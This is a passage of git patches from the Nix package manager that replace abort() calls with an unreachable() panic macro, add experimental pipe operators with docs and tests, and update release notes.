+++- src/libutil/error.cc | 12 ++++++++++ src/libutil/error.hh | 24 +++++++++++++++++++ src/libutil/file-content-address.cc | 2 +- src/libutil/fs-sink.cc | 2 +- src/libutil/git.cc | 2 +- src/libutil/hash.cc | 2 +- src/libutil/logging.cc | 2 +- src/libutil/serialise.cc | 8 +++---- src/libutil/sync.hh | 4 +++- src/libutil/unix/monitor-fd.hh | 4 +++- src/libutil/unix/processes.cc | 2 +- src/nix-env/nix-env.cc | 2 +- src/nix-store/nix-store.cc | 2 +- 35 files changed, 88 insertions(+), 45 deletions(-) diff --git a/src/libcmd/repl.cc b/src/libcmd/repl.cc index b5d0816dd..bf0d820c2 100644 --- a/src/libcmd/repl.cc +++ b/src/libcmd/repl.cc @@ -217,7 +217,7 @@ ReplExitStatus NixRepl::mainLoop() case ProcessLineResult::PromptAgain: break; default: - abort(); + unreachable(); } } catch (ParseError & e) { if (e.msg().find("unexpected end of file") != std::string::npos) { diff --git a/src/libexpr/attr-path.cc b/src/libexpr/attr-path.cc index d61d93630..2f67260c5 100644 --- a/src/libexpr/attr-path.cc +++ b/src/libexpr/attr-path.cc @@ -134,7 +134,7 @@ std::pair findPackageFilename(EvalState & state, Value & v return {SourcePath{path.accessor, CanonPath(fn.substr(0, colon))}, lineno}; } catch (std::invalid_argument & e) { fail(); - abort(); + unreachable(); } } diff --git a/src/libexpr/eval.cc b/src/libexpr/eval.cc index b192f9b4b..32bc68e6d 100644 --- a/src/libexpr/eval.cc +++ b/src/libexpr/eval.cc @@ -149,7 +149,7 @@ std::string_view showType(ValueType type, bool withArticle) case nFloat: return WA("a", "float"); case nThunk: return WA("a", "thunk"); } - abort(); + unreachable(); } @@ -771,7 +771,7 @@ void EvalState::runDebugRepl(const Error * error, const Env & env, const Expr & case ReplExitStatus::Continue: break; default: - abort(); + unreachable(); } } } @@ -1140,7 +1140,7 @@ inline void EvalState::evalAttrs(Env & env, Expr * e, Value & v, const PosIdx po void Expr::eval(EvalState & state, Env & env, Value & v) { - abort(); + unreachable(); } @@ -1573,7 +1573,7 @@ void EvalState::callFunction(Value & fun, size_t nrArgs, Value * * args, Value & .withFrame(*fun.payload.lambda.env, lambda) .debugThrow(); } - abort(); // can't happen + unreachable(); } } diff --git a/src/libexpr/nixexpr.cc b/src/libexpr/nixexpr.cc index 6c6769cfd..dbc74faf9 100644 --- a/src/libexpr/nixexpr.cc +++ b/src/libexpr/nixexpr.cc @@ -25,7 +25,7 @@ std::ostream & operator <<(std::ostream & str, const SymbolStr & symbol) void Expr::show(const SymbolTable & symbols, std::ostream & str) const { - abort(); + unreachable(); } void ExprInt::show(const SymbolTable & symbols, std::ostream & str) const @@ -271,7 +271,7 @@ std::string showAttrPath(const SymbolTable & symbols, const AttrPath & attrPath) void Expr::bindVars(EvalState & es, const std::shared_ptr & env) { - abort(); + unreachable(); } void ExprInt::bindVars(EvalState & es, const std::shared_ptr & env) diff --git a/src/libexpr/primops.cc b/src/libexpr/primops.cc index 5a373a43b..0b3b19b57 100644 --- a/src/libexpr/primops.cc +++ b/src/libexpr/primops.cc @@ -426,7 +426,7 @@ static void prim_typeOf(EvalState & state, const PosIdx pos, Value * * args, Val t = args[0]->external()->typeOf(); break; case nFloat: t = "float"; break; - case nThunk: abort(); + case nThunk: unreachable(); } v.mkString(t); } diff --git a/src/libexpr/print-ambiguous.cc b/src/libexpr/print-ambiguous.cc index 5d55b45da..a40c98643 100644 --- a/src/libexpr/print-ambiguous.cc +++ b/src/libexpr/print-ambiguous.cc @@ -94,7 +94,7 @@ void printAmbiguous( break; default: printError("Nix evaluator internal error: printAmbiguous: invalid value type"); - abort(); + unreachable(); } } diff --git a/src/libexpr/print.cc b/src/libexpr/print.cc index bc17d6bfe..4d1a6868c 100644 --- a/src/libexpr/print.cc +++ b/src/libexpr/print.cc @@ -475,7 +475,7 @@ private: else output << "primop"; } else { - abort(); + unreachable(); } output << "»"; @@ -504,7 +504,7 @@ private: if (options.ansiColors) output << ANSI_NORMAL; } else { - abort(); + unreachable(); } } diff --git a/src/libexpr/symbol-table.hh b/src/libexpr/symbol-table.hh index c7a3563b0..dee7369e8 100644 --- a/src/libexpr/symbol-table.hh +++ b/src/libexpr/symbol-table.hh @@ -7,6 +7,7 @@ #include "types.hh" #include "chunked-vector.hh" +#include "error.hh" namespace nix { @@ -113,7 +114,7 @@ public: SymbolStr operator[](Symbol s) const { if (s.id == 0 || s.id > store.size()) - abort(); + unreachable(); return SymbolStr(store[s.id - 1]); } diff --git a/src/libexpr/value.hh b/src/libexpr/value.hh index 1f4d72d39..fdc6c84c4 100644 --- a/src/libexpr/value.hh +++ b/src/libexpr/value.hh @@ -285,7 +285,7 @@ public: if (invalidIsThunk) return nThunk; else - abort(); + unreachable(); } inline void finishValue(InternalType newType, Payload newPayload) diff --git a/src/libfetchers/attrs.cc b/src/libfetchers/attrs.cc index b788c5948..25d04cdc9 100644 --- a/src/libfetchers/attrs.cc +++ b/src/libfetchers/attrs.cc @@ -33,7 +33,7 @@ nlohmann::json attrsToJSON(const Attrs & attrs) json[attr.first] = *v; } else if (auto v = std::get_if>(&attr.second)) { json[attr.first] = v->t; - } else abort(); + } else unreachable(); } return json; } @@ -99,7 +99,7 @@ std::map attrsToQuery(const Attrs & attrs) query.insert_or_assign(attr.first, *v); } else if (auto v = std::get_if>(&attr.second)) { query.insert_or_assign(attr.first, v->t ? "1" : "0"); - } else abort(); + } else unreachable(); } return query; } diff --git a/src/libmain/loggers.cc b/src/libmain/loggers.cc index 9829859de..a4e0530c8 100644 --- a/src/libmain/loggers.cc +++ b/src/libmain/loggers.cc @@ -36,7 +36,7 @@ Logger * makeDefaultLogger() { return logger; } default: - abort(); + unreachable(); } } diff --git a/src/libstore/build/drv-output-substitution-goal.hh b/src/libstore/build/drv-output-substitution-goal.hh index 807054926..8c60d0198 100644 --- a/src/libstore/build/drv-output-substitution-goal.hh +++ b/src/libstore/build/drv-output-substitution-goal.hh @@ -36,7 +36,7 @@ public: Co init() override; Co realisationFetched(std::shared_ptr outputInfo, nix::ref sub); - void timedOut(Error && ex) override { abort(); }; + void timedOut(Error && ex) override { unreachable(); }; std::string key() override; diff --git a/src/libstore/build/goal.hh b/src/libstore/build/goal.hh index 162c392d0..9c6a40c84 100644 --- a/src/libstore/build/goal.hh +++ b/src/libstore/build/goal.hh @@ -400,12 +400,12 @@ public: virtual void handleChildOutput(Descriptor fd, std::string_view data) { - abort(); + unreachable(); } virtual void handleEOF(Descriptor fd) { - abort(); + unreachable(); } void trace(std::string_view s); diff --git a/src/libstore/build/substitution-goal.hh b/src/libstore/build/substitution-goal.hh index 86e4f5423..c1de45379 100644 --- a/src/libstore/build/substitution-goal.hh +++ b/src/libstore/build/substitution-goal.hh @@ -50,7 +50,7 @@ public: PathSubstitutionGoal(const StorePath & storePath, Worker & worker, RepairFlag repair = NoRepair, std::optional ca = std::nullopt); ~PathSubstitutionGoal(); - void timedOut(Error && ex) override { abort(); }; + void timedOut(Error && ex) override { unreachable(); }; /** * We prepend "a$" to the key name to ensure substitution goals diff --git a/src/libstore/build/worker.cc b/src/libstore/build/worker.cc index 7fc41b121..ab0ba67b5 100644 --- a/src/libstore/build/worker.cc +++ b/src/libstore/build/worker.cc @@ -216,7 +216,7 @@ void Worker::childStarted(GoalPtr goal, const std::set std::string BaseSetting::to_string() const if (value == smEnabled) return "true"; else if (value == smRelaxed) return "relaxed"; else if (value == smDisabled) return "false"; - else abort(); + else unreachable(); } template<> void BaseSetting::convertToArg(Args & args, const std::string & category) diff --git a/src/libstore/nar-info-disk-cache.cc b/src/libstore/nar-info-disk-cache.cc index 288f618d5..83e63794e 100644 --- a/src/libstore/nar-info-disk-cache.cc +++ b/src/libstore/nar-info-disk-cache.cc @@ -164,7 +164,7 @@ public: Cache & getCache(State & state, const std::string & uri) { auto i = state.caches.find(uri); - if (i == state.caches.end()) abort(); + if (i == state.caches.end()) unreachable(); return i->second; } @@ -211,7 +211,7 @@ public: { auto r(state->insertCache.use()(uri)(time(0))(storeDir)(wantMassQuery)(priority)); - if (!r.next()) { abort(); } + if (!r.next()) { unreachable(); } ret.id = (int) r.getInt(0); } diff --git a/src/libstore/unix/build/local-derivation-goal.cc b/src/libstore/unix/build/local-derivation-goal.cc index 0dd102200..ac5b4dd0b 100644 --- a/src/libstore/unix/build/local-derivation-goal.cc +++ b/src/libstore/unix/build/local-derivation-goal.cc @@ -165,7 +165,7 @@ void LocalDerivationGoal::killSandbox(bool getStats) buildResult.cpuSystem = stats.cpuSystem; } #else - abort(); + unreachable(); #endif } diff --git a/src/libstore/unix/pathlocks.cc b/src/libstore/unix/pathlocks.cc index af21319a7..1ec4579ec 100644 --- a/src/libstore/unix/pathlocks.cc +++ b/src/libstore/unix/pathlocks.cc @@ -45,7 +45,7 @@ bool lockFile(Descriptor desc, LockType lockType, bool wait) if (lockType == ltRead) type = LOCK_SH; else if (lockType == ltWrite) type = LOCK_EX; else if (lockType == ltNone) type = LOCK_UN; - else abort(); + else unreachable(); if (wait) { while (flock(desc, type) != 0) { diff --git a/src/libutil/chunked-vector.hh b/src/libutil/chunked-vector.hh index d914e2542..4709679a6 100644 --- a/src/libutil/chunked-vector.hh +++ b/src/libutil/chunked-vector.hh @@ -6,6 +6,8 @@ #include #include +#include "error.hh" + namespace nix { /** @@ -30,7 +32,7 @@ private: auto & addChunk() { if (size_ >= std::numeric_limits::max() - ChunkSize) - abort(); + unreachable(); chunks.emplace_back(); chunks.back().reserve(ChunkSize); return chunks.back(); diff --git a/src/libutil/error.cc b/src/libutil/error.cc index 33c391963..b1858911a 100644 --- a/src/libutil/error.cc +++ b/src/libutil/error.cc @@ -430,4 +430,16 @@ std::ostream & showErrorInfo(std::ostream & out, const ErrorInfo & einfo, bool s return out; } +void panic(std::string_view msg) +{ + printError(msg); + printError("This was a fatal error, aborting."); + abort(); +} + +void panic(const char * file, int line, const char * func) +{ + panic(std::string("Unexpected condition in ") + func + " at " + file + ":" + std::to_string(line)); +} + } diff --git a/src/libutil/error.hh b/src/libutil/error.hh index d7fe902d6..572a1baf7 100644 --- a/src/libutil/error.hh +++ b/src/libutil/error.hh @@ -273,4 +273,28 @@ using NativeSysError = */ void throwExceptionSelfCheck(); +/** + * Print a message and abort(). + * + * @note: This assumes that the logger is operational + */ +[[noreturn]] +void panic(std::string_view msg); + +/** + * Print a basic error message with source position and abort(). + * Use the unreachable macro to call this. + * + * @note: This assumes that the logger is operational + */ +[[noreturn]] +void panic(const char * file, int line, const char * func); + +/** + * Print a basic error message with source position and abort(). + * + * @note: This assumes that the logger is operational + */ +#define unreachable() (panic(__FILE__, __LINE__, __func__)) + } diff --git a/src/libutil/file-content-address.cc b/src/libutil/file-content-address.cc index 438dac7da..86378dd67 100644 --- a/src/libutil/file-content-address.cc +++ b/src/libutil/file-content-address.cc @@ -63,7 +63,7 @@ std::string_view renderFileIngestionMethod(FileIngestionMethod method) case FileIngestionMethod::Git: return "git"; default: - abort(); + unreachable(); } } diff --git a/src/libutil/fs-sink.cc b/src/libutil/fs-sink.cc index 3246e0902..f15324d0a 100644 --- a/src/libutil/fs-sink.cc +++ b/src/libutil/fs-sink.cc @@ -53,7 +53,7 @@ void copyRecursive( throw Error("file '%1%' has an unsupported type", from); default: - abort(); + unreachable(); } } diff --git a/src/libutil/git.cc b/src/libutil/git.cc index a6968a43e..af91fa643 100644 --- a/src/libutil/git.cc +++ b/src/libutil/git.cc @@ -201,7 +201,7 @@ std::optional convertMode(SourceAccessor::Type type) case SourceAccessor::tRegular: return Mode::Regular; case SourceAccessor::tDirectory: return Mode::Directory; case SourceAccessor::tMisc: return std::nullopt; - default: abort(); + default: unreachable(); } } diff --git a/src/libutil/hash.cc b/src/libutil/hash.cc index 35b913e42..ab2a8695d 100644 --- a/src/libutil/hash.cc +++ b/src/libutil/hash.cc @@ -25,7 +25,7 @@ static size_t regularHashSize(HashAlgorithm type) { case HashAlgorithm::SHA256: return sha256HashSize; case HashAlgorithm::SHA512: return sha512HashSize; } - abort(); + unreachable(); } diff --git a/src/libutil/logging.cc b/src/libutil/logging.cc index 55751b4cf..29427f2f6 100644 --- a/src/libutil/logging.cc +++ b/src/libutil/logging.cc @@ -189,7 +189,7 @@ struct JSONLogger : Logger { else if (f.type == Logger::Field::tString) arr.push_back(f.s); else - abort(); + unreachable(); } void write(const nlohmann::json & json) diff --git a/src/libutil/serialise.cc b/src/libutil/serialise.cc index 36b99905a..ee4351545 100644 --- a/src/libutil/serialise.cc +++ b/src/libutil/serialise.cc @@ -260,7 +260,7 @@ std::unique_ptr sourceToSink(std::function fun) }); } - if (!*coro) { abort(); } + if (!*coro) { unreachable(); } if (!cur.empty()) { CoroutineContext ctx; @@ -271,12 +271,12 @@ std::unique_ptr sourceToSink(std::function fun) void finish() override { if (!coro) return; - if (!*coro) abort(); + if (!*coro) unreachable(); { CoroutineContext ctx; (*coro)(true); } - if (*coro) abort(); + if (*coro) unreachable(); } }; @@ -316,7 +316,7 @@ std::unique_ptr sinkToSource( }); } - if (!*coro) { eof(); abort(); } + if (!*coro) { eof(); unreachable(); } if (pos == cur.size()) { if (!cur.empty()) { diff --git a/src/libutil/sync.hh b/src/libutil/sync.hh index 20dd6ee52..c1b699ffc 100644 --- a/src/libutil/sync.hh +++ b/src/libutil/sync.hh @@ -7,6 +7,8 @@ #include #include +#include "error.hh" + namespace nix { /** @@ -47,7 +49,7 @@ public: friend SyncBase; Lock(SyncBase * s) : s(s), lk(s->mutex) { } public: - Lock(Lock && l) : s(l.s) { abort(); } + Lock(Lock && l) : s(l.s) { unreachable(); } Lock(const Lock & l) = delete; ~Lock() { } diff --git a/src/libutil/unix/monitor-fd.hh b/src/libutil/unix/monitor-fd.hh index 103894de9..b6610feff 100644 --- a/src/libutil/unix/monitor-fd.hh +++ b/src/libutil/unix/monitor-fd.hh @@ -40,7 +40,9 @@ public: #endif ; auto count = poll(fds, 1, -1); - if (count == -1) abort(); // can't happen + if (count == -1) + unreachable(); + /* This shouldn't happen, but can on macOS due to a bug. See rdar://37550628. diff --git a/src/libutil/unix/processes.cc b/src/libutil/unix/processes.cc index 1af559a21..c5ce74acc 100644 --- a/src/libutil/unix/processes.cc +++ b/src/libutil/unix/processes.cc @@ -182,7 +182,7 @@ static pid_t doFork(bool allowVfork, ChildWrapperFunction & fun) #endif if (pid != 0) return pid; fun(); - abort(); + unreachable(); } diff --git a/src/nix-env/nix-env.cc b/src/nix-env/nix-env.cc index 5e170c99d..40c200542 100644 --- a/src/nix-env/nix-env.cc +++ b/src/nix-env/nix-env.cc @@ -1159,7 +1159,7 @@ static void opQuery(Globals & globals, Strings opFlags, Strings opArgs) case cvEqual: ch = '='; break; case cvGreater: ch = '<'; break; case cvUnavail: ch = '-'; break; - default: abort(); + default: unreachable(); } if (xmlOutput) { diff --git a/src/nix-store/nix-store.cc b/src/nix-store/nix-store.cc index f073074e8..b4de42ba1 100644 --- a/src/nix-store/nix-store.cc +++ b/src/nix-store/nix-store.cc @@ -480,7 +480,7 @@ static void opQuery(Strings opFlags, Strings opArgs) } default: - abort(); + unreachable(); } } From e086d5d899aaefdce8cc7a509cb2971be9732b2b Mon Sep 17 00:00:00 2001 From: Ryan Hendrickson Date: Wed, 24 Jul 2024 13:17:28 -0400 Subject: [PATCH 1177/1251] libexpr: experimental pipe operators --- doc/manual/rl-next/pipe-operators.md | 28 ++++++++++ doc/manual/src/language/operators.md | 37 ++++++++++++- src/libexpr/lexer.l | 14 +++++ src/libexpr/parser.y | 30 ++++++++--- src/libutil/experimental-features.cc | 10 +++- src/libutil/experimental-features.hh | 1 + .../lang/eval-fail-pipe-operators.err.exp | 5 ++ .../lang/eval-fail-pipe-operators.nix | 1 + tests/unit/libexpr/main.cc | 3 ++ tests/unit/libexpr/trivial.cc | 54 +++++++++++++++++++ 10 files changed, 174 insertions(+), 9 deletions(-) create mode 100644 doc/manual/rl-next/pipe-operators.md create mode 100644 tests/functional/lang/eval-fail-pipe-operators.err.exp create mode 100644 tests/functional/lang/eval-fail-pipe-operators.nix diff --git a/doc/manual/rl-next/pipe-operators.md b/doc/manual/rl-next/pipe-operators.md new file mode 100644 index 000000000..b4cbe30e3 --- /dev/null +++ b/doc/manual/rl-next/pipe-operators.md @@ -0,0 +1,28 @@ +--- +synopsis: "Add `pipe-operators` experimental feature" +prs: +- 11131 +--- + +This is a draft implementation of [RFC 0148](https://github.com/NixOS/rfcs/pull/148). + +The `pipe-operators` experimental feature adds [`<|` and `|>` operators][pipe operators] to the Nix language. +*a* `|>` *b* is equivalent to the function application *b* *a*, and +*a* `<|` *b* is equivalent to the function application *a* *b*. + +For example: + +``` +nix-repl> 1 |> builtins.add 2 |> builtins.mul 3 +9 + +nix-repl> builtins.add 1 <| builtins.mul 2 <| 3 +7 +``` + +`<|` and `|>` are right and left associative, respectively, and have lower precedence than any other operator. +These properties may change in future releases. + +See [the RFC](https://github.com/NixOS/rfcs/pull/148) for more examples and rationale. + +[pipe operators]: @docroot@/language/operators.md#pipe-operators diff --git a/doc/manual/src/language/operators.md b/doc/manual/src/language/operators.md index 9660a764d..a1e28349b 100644 --- a/doc/manual/src/language/operators.md +++ b/doc/manual/src/language/operators.md @@ -26,13 +26,17 @@ | Logical conjunction (`AND`) | *bool* `&&` *bool* | left | 12 | | Logical disjunction (`OR`) | *bool* \|\| *bool* | left | 13 | | [Logical implication] | *bool* `->` *bool* | right | 14 | +| [Pipe operator] (experimental) | *expr* `\|>` *func* | left | 15 | +| [Pipe operator] (experimental) | *func* `<\|` *expr* | right | 15 | [string]: ./types.md#type-string [path]: ./types.md#type-path -[number]: ./types.md#type-float +[number]: ./types.md#type-float [list]: ./types.md#list [attribute set]: ./types.md#attribute-set + + ## Attribute selection > **Syntax** @@ -182,3 +186,34 @@ Equivalent to `!`*b1* `||` *b2*. [Logical implication]: #logical-implication +## Pipe operators + +- *a* `|>` *b* is equivalent to *b* *a* +- *a* `<|` *b* is equivalent to *a* *b* + +> **Example** +> +> ``` +> nix-repl> 1 |> builtins.add 2 |> builtins.mul 3 +> 9 +> +> nix-repl> builtins.add 1 <| builtins.mul 2 <| 3 +> 7 +> ``` + +> **Warning** +> +> This syntax is part of an +> [experimental feature](@docroot@/contributing/experimental-features.md) +> and may change in future releases. +> +> To use this syntax, make sure the +> [`pipe-operators` experimental feature](@docroot@/contributing/experimental-features.md#xp-feature-pipe-operators) +> is enabled. +> For example, include the following in [`nix.conf`](@docroot@/command-ref/conf-file.md): +> +> ``` +> extra-experimental-features = pipe-operators +> ``` + +[Pipe operator]: #pipe-operators diff --git a/src/libexpr/lexer.l b/src/libexpr/lexer.l index 58401be8e..eb1825b7c 100644 --- a/src/libexpr/lexer.l +++ b/src/libexpr/lexer.l @@ -67,6 +67,14 @@ static StringToken unescapeStr(SymbolTable & symbols, char * s, size_t length) return {result, size_t(t - result)}; } +static void requireExperimentalFeature(const ExperimentalFeature & feature, const Pos & pos) +{ + if (!experimentalFeatureSettings.isEnabled(feature)) + throw ParseError(ErrorInfo{ + .msg = HintFmt("experimental Nix feature '%1%' is disabled; add '--extra-experimental-features %1%' to enable it", showExperimentalFeature(feature)), + .pos = pos, + }); +} } @@ -119,6 +127,12 @@ or { return OR_KW; } \-\> { return IMPL; } \/\/ { return UPDATE; } \+\+ { return CONCAT; } +\<\| { requireExperimentalFeature(Xp::PipeOperators, state->positions[CUR_POS]); + return PIPE_FROM; + } +\|\> { requireExperimentalFeature(Xp::PipeOperators, state->positions[CUR_POS]); + return PIPE_INTO; + } {ID} { yylval->id = {yytext, (size_t) yyleng}; return ID; } {INT} { errno = 0; diff --git a/src/libexpr/parser.y b/src/libexpr/parser.y index 8ea176b24..9ad41c148 100644 --- a/src/libexpr/parser.y +++ b/src/libexpr/parser.y @@ -99,6 +99,14 @@ static void setDocPosition(const LexerState & lexerState, ExprLambda * lambda, P } } +static Expr * makeCall(PosIdx pos, Expr * fn, Expr * arg) { + if (auto e2 = dynamic_cast(fn)) { + e2->args.push_back(arg); + return fn; + } + return new ExprCall(pos, fn, {arg}); +} + %} @@ -123,6 +131,7 @@ static void setDocPosition(const LexerState & lexerState, ExprLambda * lambda, P %type start expr expr_function expr_if expr_op %type expr_select expr_simple expr_app +%type expr_pipe_from expr_pipe_into %type expr_list %type binds %type formals @@ -140,6 +149,7 @@ static void setDocPosition(const LexerState & lexerState, ExprLambda * lambda, P %token PATH HPATH SPATH PATH_END %token URI %token IF THEN ELSE ASSERT WITH LET IN_KW REC INHERIT EQ NEQ AND OR IMPL OR_KW +%token PIPE_FROM PIPE_INTO /* <| and |> */ %token DOLLAR_CURLY /* == ${ */ %token IND_STRING_OPEN IND_STRING_CLOSE %token ELLIPSIS @@ -206,9 +216,21 @@ expr_function expr_if : IF expr THEN expr ELSE expr { $$ = new ExprIf(CUR_POS, $2, $4, $6); } + | expr_pipe_from + | expr_pipe_into | expr_op ; +expr_pipe_from + : expr_op PIPE_FROM expr_pipe_from { $$ = makeCall(state->at(@2), $1, $3); } + | expr_op PIPE_FROM expr_op { $$ = makeCall(state->at(@2), $1, $3); } + ; + +expr_pipe_into + : expr_pipe_into PIPE_INTO expr_op { $$ = makeCall(state->at(@2), $3, $1); } + | expr_op PIPE_INTO expr_op { $$ = makeCall(state->at(@2), $3, $1); } + ; + expr_op : '!' expr_op %prec NOT { $$ = new ExprOpNot($2); } | '-' expr_op %prec NEGATE { $$ = new ExprCall(CUR_POS, new ExprVar(state->s.sub), {new ExprInt(0), $2}); } @@ -233,13 +255,7 @@ expr_op ; expr_app - : expr_app expr_select { - if (auto e2 = dynamic_cast($1)) { - e2->args.push_back($2); - $$ = $1; - } else - $$ = new ExprCall(CUR_POS, $1, {$2}); - } + : expr_app expr_select { $$ = makeCall(CUR_POS, $1, $2); } | expr_select ; diff --git a/src/libutil/experimental-features.cc b/src/libutil/experimental-features.cc index 1c080e372..a0c955816 100644 --- a/src/libutil/experimental-features.cc +++ b/src/libutil/experimental-features.cc @@ -24,7 +24,7 @@ struct ExperimentalFeatureDetails * feature, we either have no issue at all if few features are not added * at the end of the list, or a proper merge conflict if they are. */ -constexpr size_t numXpFeatures = 1 + static_cast(Xp::VerifiedFetches); +constexpr size_t numXpFeatures = 1 + static_cast(Xp::PipeOperators); constexpr std::array xpFeatureDetails = {{ { @@ -294,6 +294,14 @@ constexpr std::array xpFeatureDetails )", .trackingUrl = "https://github.com/NixOS/nix/milestone/48", }, + { + .tag = Xp::PipeOperators, + .name = "pipe-operators", + .description = R"( + Add `|>` and `<|` operators to the Nix language. + )", + .trackingUrl = "https://github.com/NixOS/nix/milestone/55", + }, }}; static_assert( diff --git a/src/libutil/experimental-features.hh b/src/libutil/experimental-features.hh index 6ffbc0c10..e65e51280 100644 --- a/src/libutil/experimental-features.hh +++ b/src/libutil/experimental-features.hh @@ -35,6 +35,7 @@ enum struct ExperimentalFeature ConfigurableImpureEnv, MountedSSHStore, VerifiedFetches, + PipeOperators, }; /** diff --git a/tests/functional/lang/eval-fail-pipe-operators.err.exp b/tests/functional/lang/eval-fail-pipe-operators.err.exp new file mode 100644 index 000000000..49f3fa8ad --- /dev/null +++ b/tests/functional/lang/eval-fail-pipe-operators.err.exp @@ -0,0 +1,5 @@ +error: experimental Nix feature 'pipe-operators' is disabled; add '--extra-experimental-features pipe-operators' to enable it + at /pwd/lang/eval-fail-pipe-operators.nix:1:3: + 1| 1 |> 2 + | ^ + 2| diff --git a/tests/functional/lang/eval-fail-pipe-operators.nix b/tests/functional/lang/eval-fail-pipe-operators.nix new file mode 100644 index 000000000..433e0fd7f --- /dev/null +++ b/tests/functional/lang/eval-fail-pipe-operators.nix @@ -0,0 +1 @@ +1 |> 2 diff --git a/tests/unit/libexpr/main.cc b/tests/unit/libexpr/main.cc index cf7fcf5a3..e3412d9ef 100644 --- a/tests/unit/libexpr/main.cc +++ b/tests/unit/libexpr/main.cc @@ -34,6 +34,9 @@ int main (int argc, char **argv) { setEnv("_NIX_TEST_NO_SANDBOX", "1"); #endif + // For pipe operator tests in trivial.cc + experimentalFeatureSettings.set("experimental-features", "pipe-operators"); + ::testing::InitGoogleTest(&argc, argv); return RUN_ALL_TESTS(); } diff --git a/tests/unit/libexpr/trivial.cc b/tests/unit/libexpr/trivial.cc index 61ea71a0f..e455a571b 100644 --- a/tests/unit/libexpr/trivial.cc +++ b/tests/unit/libexpr/trivial.cc @@ -182,6 +182,60 @@ namespace nix { ASSERT_THAT(v, IsIntEq(15)); } + TEST_F(TrivialExpressionTest, forwardPipe) { + auto v = eval("1 |> builtins.add 2 |> builtins.mul 3"); + ASSERT_THAT(v, IsIntEq(9)); + } + + TEST_F(TrivialExpressionTest, backwardPipe) { + auto v = eval("builtins.add 1 <| builtins.mul 2 <| 3"); + ASSERT_THAT(v, IsIntEq(7)); + } + + TEST_F(TrivialExpressionTest, forwardPipeEvaluationOrder) { + auto v = eval("1 |> null |> (x: 2)"); + ASSERT_THAT(v, IsIntEq(2)); + } + + TEST_F(TrivialExpressionTest, backwardPipeEvaluationOrder) { + auto v = eval("(x: 1) <| null <| 2"); + ASSERT_THAT(v, IsIntEq(1)); + } + + TEST_F(TrivialExpressionTest, differentPipeOperatorsDoNotAssociate) { + ASSERT_THROW(eval("(x: 1) <| 2 |> (x: 3)"), ParseError); + } + + TEST_F(TrivialExpressionTest, differentPipeOperatorsParensLeft) { + auto v = eval("((x: 1) <| 2) |> (x: 3)"); + ASSERT_THAT(v, IsIntEq(3)); + } + + TEST_F(TrivialExpressionTest, differentPipeOperatorsParensRight) { + auto v = eval("(x: 1) <| (2 |> (x: 3))"); + ASSERT_THAT(v, IsIntEq(1)); + } + + TEST_F(TrivialExpressionTest, forwardPipeLowestPrecedence) { + auto v = eval("false -> true |> (x: !x)"); + ASSERT_THAT(v, IsFalse()); + } + + TEST_F(TrivialExpressionTest, backwardPipeLowestPrecedence) { + auto v = eval("(x: !x) <| false -> true"); + ASSERT_THAT(v, IsFalse()); + } + + TEST_F(TrivialExpressionTest, forwardPipeStrongerThanElse) { + auto v = eval("if true then 1 else 2 |> 3"); + ASSERT_THAT(v, IsIntEq(1)); + } + + TEST_F(TrivialExpressionTest, backwardPipeStrongerThanElse) { + auto v = eval("if true then 1 else 2 <| 3"); + ASSERT_THAT(v, IsIntEq(1)); + } + TEST_F(TrivialExpressionTest, bindOr) { auto v = eval("{ or = 1; }"); ASSERT_THAT(v, IsAttrsOfSize(1)); From 459ee005633eb8094c82b6b6d9bff1df2732b893 Mon Sep 17 00:00:00 2001 From: Robert Hensing Date: Wed, 24 Jul 2024 19:22:53 +0200 Subject: [PATCH 1178/1251] Render the release notes when building the manual from dev shell --- flake.nix | 1 + 1 file changed, 1 insertion(+) diff --git a/flake.nix b/flake.nix index 2384c2974..fc6d16169 100644 --- a/flake.nix +++ b/flake.nix @@ -333,6 +333,7 @@ ++ [ pkgs.buildPackages.cmake pkgs.buildPackages.shellcheck + pkgs.buildPackages.changelog-d modular.pre-commit.settings.package (pkgs.writeScriptBin "pre-commit-hooks-install" modular.pre-commit.settings.installationScript) From 4bfc96f376ff0e0cd5fba4b36d7afcd4abcee020 Mon Sep 17 00:00:00 2001 From: Robert Hensing Date: Wed, 24 Jul 2024 19:21:34 +0200 Subject: [PATCH 1179/1251] Fix and update release notes --- doc/manual/rl-next/shebang-relative.md | 2 +- doc/manual/rl-next/zzz-other.md | 50 ++++++++++++++++++++++++++ 2 files changed, 51 insertions(+), 1 deletion(-) create mode 100644 doc/manual/rl-next/zzz-other.md diff --git a/doc/manual/rl-next/shebang-relative.md b/doc/manual/rl-next/shebang-relative.md index c887a598a..d12c0f8dc 100644 --- a/doc/manual/rl-next/shebang-relative.md +++ b/doc/manual/rl-next/shebang-relative.md @@ -8,7 +8,7 @@ issues: --- -Relative [path](@docroot@/language/values.md#type-path) literals in `nix-shell` shebang scripts' options are now resolved relative to the [script's location](@docroot@/glossary?highlight=base%20directory#gloss-base-directory). +Relative [path](@docroot@/language/types.md#type-path) literals in `nix-shell` shebang scripts' options are now resolved relative to the [script's location](@docroot@/glossary.md?highlight=base%20directory#gloss-base-directory). Previously they were resolved relative to the current working directory. For example, consider the following script in `~/myproject/say-hi`: diff --git a/doc/manual/rl-next/zzz-other.md b/doc/manual/rl-next/zzz-other.md new file mode 100644 index 000000000..f3721bd38 --- /dev/null +++ b/doc/manual/rl-next/zzz-other.md @@ -0,0 +1,50 @@ +--- +synopsis: Other changes +--- + +- [#9063](https://github.com/NixOS/nix/pull/9063): introduce `libnixflake` and move flakes-specific code there (Nix is internally composed of a set of libraries, and this better reflects the architecture wrt flakes) +- [#10852](https://github.com/NixOS/nix/pull/10852): make Nix commands respond better to interruption - Ctrl+C in the terminal +- [#10853](https://github.com/NixOS/nix/pull/10853): fix docs of `builtins.importNative` +- [#10858](https://github.com/NixOS/nix/pull/10858): `flake check`: Recognize well known `homeModule`/`homeModules` attribute +- [#10865](https://github.com/NixOS/nix/pull/10865): Update dependencies to Nixpkgs 24.05 (when using the `nix` flake), and support bdwgc 8.2.6 ([#11141](https://github.com/NixOS/nix/issues/11141), [#10880](https://github.com/NixOS/nix/pull/10880)) +- [#10883](https://github.com/NixOS/nix/pull/10883): Use `TMP` instead of `XDG_RUNTIME_DIR` +- [#10994](https://github.com/NixOS/nix/pull/10994): fix minor bug in elided item counts when printing values lazily +- [#10988](https://github.com/NixOS/nix/pull/10988): restore `commit-lockfile-summary` alias +- [#10941](https://github.com/NixOS/nix/pull/10941): invalid derivation name now causes an actionable error message +- Changes to the interaction between Nix's I/O coroutines and the garbage collector: +- [#10878](https://github.com/NixOS/nix/pull/10878): allow `ipc-sysv*` in the Darwin build sandbox +- [#11031](https://github.com/NixOS/nix/pull/11031): 